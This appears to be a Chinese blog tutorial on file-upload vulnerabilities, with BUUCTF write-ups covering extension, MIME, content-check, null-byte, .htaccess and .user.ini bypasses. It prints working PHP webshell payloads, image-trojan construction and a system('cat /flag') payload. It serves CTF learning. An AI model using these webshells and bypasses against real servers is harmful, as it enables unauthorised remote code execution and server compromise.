文件上传漏洞+CTF实例

解题思路

前端绕过

手动修改前端js代码进行绕过:右击-查看页面源代码-ctf+f进行位置定位-修改JavaScript函数

后端绕过

  • 文件类型绕过(Content-Type)

常见MIME类型描述
application/octet-stream

表示所有其他情况的默认值

text/plain表示文本文件的默认值
text/html超文本标记语言
application/rtfRTF文件
image/gifGIF图形
image/pngPNG图形
image/jpegJPEG图形.jpeg
audio/basicau声音文件.au
audio/mid、audio/midiMIDI音乐文件.mid、.midi
audio/x-pn-realaudioRealAudio音乐文件.ra、.ram
video/mpegMPEG文件.mpg、.mpeg
video/x-msvideoAVI文件.avi
application/x-gzipGZIP文件.gz
application/x-tarTAR文件.tar

各种后缀名绕过

# 有许多后缀名不为php,但仍会默认解析为php的后缀扩展名列表。
## .php:
.php2, .php3, .php4, .php5, .php6, .php7, .phps, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
## .asp:
.aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
## .jsp:
.jspx, .jsw, .jsv, .jspf, .wss, .do, .action, # 大小写空格下划线双写绕过
.pHp .PHP .php(空) .php. .php_ .pphphp# 利用Apache文件解析机制,从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止
.php.xxx# windows文件流绕过
.php::$DATA
## 在磁盘中创建1.php时,先是创建了1.php::$DATA,两者本质相同,但对于黑名单来说两者不一样

文件内容检测与绕过

# 如果检测的是<?,可以尝试其他一句话木马
<script language="php">eval($_POST[123]); </script>
## &#x3C;&#x3F; == <?
## &lt;? == <?# 如果检测文件头,可以在脚本开头添加图片对应的文件头
GIF89A?
<script language="php">eval($_POST[123]); </script># 如果利用getimagesize函数获取图片的宽高等信息,上传的不是图片,那么则获取不到信息。可以制作图片马
copy 1.jpg/b+1.php/a 2.jpg ## 1.jpg正常的图片,1.php里有一句话木马,生成2.jpg

.htaccess文件绕过

.htaccess本质为Apache配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录种放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录,管理相关目录下的网页配置。

使用方法:先上传.htaccess文件,写入以下内容;然后上传木马文件。

# .htaccess## 当前目录以及子目录所有文件将会被当作php解析
SetHandler application/x-httpd-php ## 匹配文件名(推荐)
<FileMatch "2.png">SetHandler application/x-httpd-php
</FileMatch>## 或者指定扩展名,例如以png为后缀的文件当作php文件解析
AddType application/x-httpd-php .png

%00和00截断 

在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。

# get方式
直接修改 1.php => 1.php%00# post方式
需要在bp中修改hex值,在1.php后添加一个hex值为00的字符

CTF实例

BUUCTF-ACTF2020新生赛upload1(后缀名绕过)

1.尝试上传一句话木马,发现页面弹窗:只能上传jpg,png,gif结尾的图片。前端修改绕过后然后用bp抓包,发现页面nonono bad file。尝试修改后缀名为php2,发现上传成功,但是用蚁剑连接发现返回数据为空。发现php6,php7也是这种情况。最终是.phtml成功连接

BUUCTF-极客大挑战2019-upload

1.尝试上传一句话木马文件,页面显示not image。bp抓包然后修改content-type为image/jpeg,页面显示not! php!,应该是内容检测,修改一句话木马和content-type,发现页面还是显示not php。

猜测源码:

1.先是检测content-type(若不是image/jpeg或image/png或image/gif就会显示not image)

2.修改content-type为image/jpeg,然后检测后缀名,(若是php,php2,php3,php4,php5则会显示not php)

3.修改后缀名为php6,发现显示NO! HACKER! your file included <?;',即是检测内容。

4.修改一句话木马为<script language="php">eval($_POST[1]);</script>,发现页面显示Don't lie to me, it's not image at all!!!

5.尝试在脚本前加文件头GIF89a?,上传成功。

2.访问网址/upload/1.php6,发现没有解析php,继续修改后缀名,发现用.phtml可以解析,最后用蚁剑连接成功,即可得到flag

BUUCTF-NewStarCTF2023-week2-Upload agin(.htaccess文件)

1.尝试上传一句话木马,用bp抓包,尝试修改后缀名为jpg和content-type为image/jpeg,显示这不还是php?。应该是内容检测,当修改后缀名为php.,同时内容改为<script language="php">eval($_POST['cmd'])</script>。发现上传成功了,但是蚁剑连接发现返回数据为空。

2.尝试先上传.htaccess文件,然后再上传木马文件,后缀名和内容同上。最后连接成功得到flag!!

# .htaccess文件的内容
SetHandler application/x-httpd-php

 

BUUCTF-SUCTF2019-CheckIn(.user.ini)

 1.尝试上传一句话木马,发现页面显示illegal suffix!,修改后缀名,发现.php.可以绕过;然后页面显示<? in contents!,修改一句话木马,页面显示exif_imagetype:not image!

exif_imagetype是一个函数,它读取一个图像的第一个字节并检查其签名

2.所以在一句话木马前加GIF89A可以绕过,上传成功。但是无法被php解析

  

3.这里看wp才发现要先上传一个user.ini文件,内容如下:

GIF89A
auto_prepend_file=1.php.

.user.ini是和.htaccess一样的目录配置文件,.user.ini就是用户自定义的一个.php.ini,我们可以利用这个文件来构造后门和隐藏后门。

.user.init中两个配置就是auto_prepend_file和auto_append_file,这个两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中,相当于在php文件中插入一句:require 1.jpg

前提是含有.user.ini的文件夹下需要有正常的php文件

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {$tmp_name = $_FILES["fileUpload"]["tmp_name"];$name = $_FILES["fileUpload"]["name"];if (!$tmp_name) {die("filesize too big!");}if (!$name) {die("filename cannot be empty!");}$extension = substr($name, strrpos($name, ".") + 1);if (preg_match("/ph|htacess/i", $extension)) {die("illegal suffix!");}if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {die("&lt;? in contents!");}$image_type = exif_imagetype($tmp_name);if (!$image_type) {die("exif_imagetype:not image!");}$upload_file_path = $userdir . "/" . $name;move_uploaded_file($tmp_name, $upload_file_path);echo "Your dir " . $userdir. ' <br>';echo 'Your files : <br>';var_dump(scandir($userdir));
}

然后上传1.php.,内容如下:

GIF89A
<script language="php">system('cat /flag')</script>

 最后访问/uploads/065831472858248584ff4993846d5065/index.php可以得到flag

或者修改一句话木马,然后也是用上面的网址蚁剑连接

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432286.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

啥?Bing搜索古早BUG至今未改?

首先&#xff0c;大家先看下面的一个数学公式。 Γ ( z ) ∫ 0 ∞ t z − 1 e − t d t . \Gamma(z) \int_0^\infty t^{z-1}e^{-t}dt\,. Γ(z)∫0∞​tz−1e−tdt. 看不懂&#xff1f;没关系&#xff0c;因为我也看不懂 这不是谈论的重点。 当你把鼠标光标移到公式的最开头&…

小程序-生命周期与WXS脚本

生命周期 什么是生命周期 生命周期&#xff08;Life Cycle&#xff09;是指一个对象从创建 -> 运行 -> 销毁的整个阶段&#xff0c;强调的是一个时间段。 我们可以把每个小程序运行的过程&#xff0c;也概括为生命周期&#xff1a; 小程序的启动&#xff0c;表示生命…

Github 2024-09-23 开源项目周报 Top15

根据Github Trendings的统计,本周(2024-09-23统计)共有15个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目6C++项目3C项目3HTML项目2PowerShell项目1TypeScript项目1JavaScript项目1Blade项目1PHP项目1Bootstrap 5: Web上开发响应式、移动优…

Kafka 面试题

参考&#xff1a; https://javabetter.cn/interview/kafka-40.htmlhttps://javaguide.cn/high-performance/message-queue/kafka-questions-01.html Kafka 架构 名词概念 Producer&#xff08;生产者&#xff09; : 产生消息的一方。 Consumer&#xff08;消费者&#xff09; …

影刀---实现我的第一个抓取数据的机器人

你们要的csdn自动回复机器人在这里文末哦&#xff01; 这个上传的资源要vip下载&#xff0c;如果想了解影刀这个软件的话可以私聊我&#xff0c;我发你 目录 1.网页对象2.网页元素3.相似元素组4.元素操作设置下拉框复选框滚动条获取元素的信息 5.变量6.数据的表达字符串变量列…

数据库主备副本物理复制和逻辑复制对比

数据库主从节点的数据一致性是保证数据库高可用的基本要求&#xff0c;各个数据库在实现方式上也各有异同。而主备复制的方式无外乎两种&#xff1a;物理复制和逻辑复制&#xff0c;本文简要对比下两种方式的不同&#xff0c;并分析下国产数据库是如何实现的。 1、数据库复制基…

初试Bootstrap前端框架

文章目录 一、Bootstrap概述二、Bootstrap实例1、创建网页2、编写代码3、代码说明4、浏览网页&#xff0c;查看结果5、登录按钮事件处理6、浏览网页&#xff0c;查看结果 三、实战小结 一、Bootstrap概述 大家好&#xff0c;今天我们将一起学习一个非常流行的前端框架——Boot…

Redis --- redis事务和分布式事务锁

redis事务基本实现 Redis 可以通过 MULTI&#xff0c;EXEC&#xff0c;DISCARD 和 WATCH 等命令来实现事务(transaction)功能。 > MULTI OK > SET USER "Guide哥" QUEUED > GET USER QUEUED > EXEC 1) OK 2) "Guide哥"使用 MULTI命令后可以输入…

Java数据库连接jdbc

Java数据库连接jdbc 导入java包 1、根目录&#xff0c;新建一个lib目录&#xff08;Dire&#xff09; 2、将jar包放入lib目录下 3、File -> Project Structure&#xff08;项目结构&#xff09; 4、Libraries-> ->java->找到项目的lib目录 5、Apply->OK使用JD…

navicat无法连接远程mysql数据库1130报错的解决方法

出现报错&#xff1a;1130 - Host ipaddress is not allowed to connect to this MySQL serve navicat&#xff0c;当前ip不允许连接到这个MySQL服务 解决当前ip无法连接远程mysql的方法 1. 查看mysql端口&#xff0c;并在服务器安全组中放开相应入方向端口后重启服务器 sud…

二叉树的基本概念(下)

文章目录 &#x1f34a;自我介绍&#x1f34a;二叉树的分类满二叉树完全二叉树 &#x1f34a;二叉树的存储顺序存储[完全二叉树]链式存储 你的点赞评论就是对博主最大的鼓励 当然喜欢的小伙伴可以&#xff1a;点赞关注评论收藏&#xff08;一键四连&#xff09;哦~ &#x1f34…

顶点缓存对象(VBO)与顶点数组对象(VAO)

我们的顶点数组在CPU端的内存里是以数组的形式存在,想要GPU去绘制三角形,那么需要将这些数据传输给GPU。那这些数据在显存端是怎么存储的呢?VBO上场了,它代表GPU上的一段存储空间对象,表现为一个unsigned int类型的变量,GPU端内存对象的一个ID编号、地址、大小。一个VBO对…

利用探空站数据(怀俄明和IGRA)和ERA5计算ZTD、ZHD和ZWD

1.有关 Matlab 获取代码关注咸鱼获取&#xff1a; 怀俄明探空站数据解算PWV和Tm 怀俄明多线程下载探空站数据&#xff08;包括检查和下载遗漏数据的代码&#xff09; 对IGRAv2进行质量控制得到PWV和Tm的 matlab 代码 算 IGRAv2 探空站的 Tm 和 PWV 提取探空站 IGRAv2 全部数…

单片机串口AT指令操作SIM800、900拨打电话

文章目录 一、前言1.1 功能简介1.2 拨打电话功能的应用场景1.3 SIM900A与SIM800C模块介绍1.4 原理图 三、模块调试3.1 工具软件下载3.2 准备好模块3.3 串口调试助手的设置3.4 初始化配置3.5 拨打电话的测试流程 四、代码实现4.1 底层的命令发送接口4.2 底层数据接收接口4.3 检测…

基于Next.js和TailwindCss的TailwindCss

最近在研究 Next.js 和 TailwindCss &#xff0c;这两天没事的时候就搞了一个 c。 目前工具部署在 Vercel &#xff0c;欢迎各位体验&#xff08;能提出意见更好嘿嘿&#xff09; 体验地址&#xff1a; https://icon.999872.xyz/ 图片预览 &#x1f447;

MySQL Performance Schema 详解及运行时配置优化

引言 MySQL 的 Performance Schema 是一套性能监控与诊断工具&#xff0c;帮助开发者和数据库管理员收集、分析 MySQL 实例的运行状态&#xff0c;找出性能瓶颈并进行优化。通过 Performance Schema&#xff0c;我们能够监控不同的内部事件、线程、会话、语句执行等关键性能指…

LabVIEW界面输入值设为默认值

在LabVIEW中&#xff0c;将前面板上所有控件的当前输入值设为默认值&#xff0c;可以通过以下步骤实现&#xff1a; 使用控件属性节点&#xff1a;你可以创建一个属性节点来获取所有控件的引用。 右键点击控件&#xff0c;选择“创建” > “属性节点”。 设置属性节点为“D…

Pandas和Seaborn可视化详解

1.Pandas绘图-单变量 概述 pandas库是Python数据分析的核心库 它不仅可以加载和转换数据&#xff0c;还可以做更多的事情&#xff1a;它还可以可视化 pandas绘图API简单易用&#xff0c;是pandas流行的重要原因之一 可视化小技巧: 如果是类别型 柱状 饼图 (类别相对较少 5-…

灵办AI搜索引擎和文档总结工具

前言—— 在信息爆炸的时代&#xff0c;如何高效地获取和处理知识成为了每个人面临的挑战。随着人工智能技术的迅猛发展&#xff0c;本文将深入探讨这一创新工具的功能与优势&#xff0c;以及如何在日常生活和工作中充分利用它&#xff0c;开启智能化的信息获取新篇章。 点击…

金属增材制造咋突破?纳米纹理粉末如何助力金属增材制造?

大家好&#xff0c;今天我们来了解一篇金属增材制造文章——《High absorptivity nanotextured powders for additive manufacturing》发表于《Science Advances》。金属增材制造在医疗、航空航天等领域&#xff0c;它潜力巨大&#xff0c;但目前可打印的金属材料有限&#xff…